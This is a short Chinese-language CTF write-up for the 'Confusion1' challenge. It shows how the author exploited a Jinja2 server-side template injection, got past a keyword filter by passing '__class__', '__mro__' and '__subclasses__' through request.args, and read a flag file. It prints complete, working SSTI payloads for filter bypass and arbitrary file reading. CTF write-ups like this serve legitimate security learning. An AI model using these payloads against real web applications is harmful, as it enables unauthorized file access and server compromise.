Confusion1
打开链接,如图所示
点击login,发现无法访问,查看一下源码,有flag的信息
看了题解后知道是SSTI
使用{{7*7}}
最常用的
{{''.__class__.__mro__[2].__subclasses__()}}
发现被过滤了
经过测试,过滤了很多关键字,如class,subclasses等。
这里使用request.args.t1且以GET方式提交t1=__class__
来替换被过滤的__class__
{{''.__class__}} => {{''[request.args.t1]}}&t1=__class__
payload
{{''[request.args.a][request.args.b][2][request.args.c]()}}?a=__class__&b=__mro__&c=__subclasses__
{{''[request.args.a][request.args.b][2][request.args.c]()[40]('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt')[request.args.d]()}}?a=__class__&b=__mro__&c=__subclasses__&d=read
//{{''.__class__.__mro__[2].__subclasses__()[40]('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt').read()}}
得到flag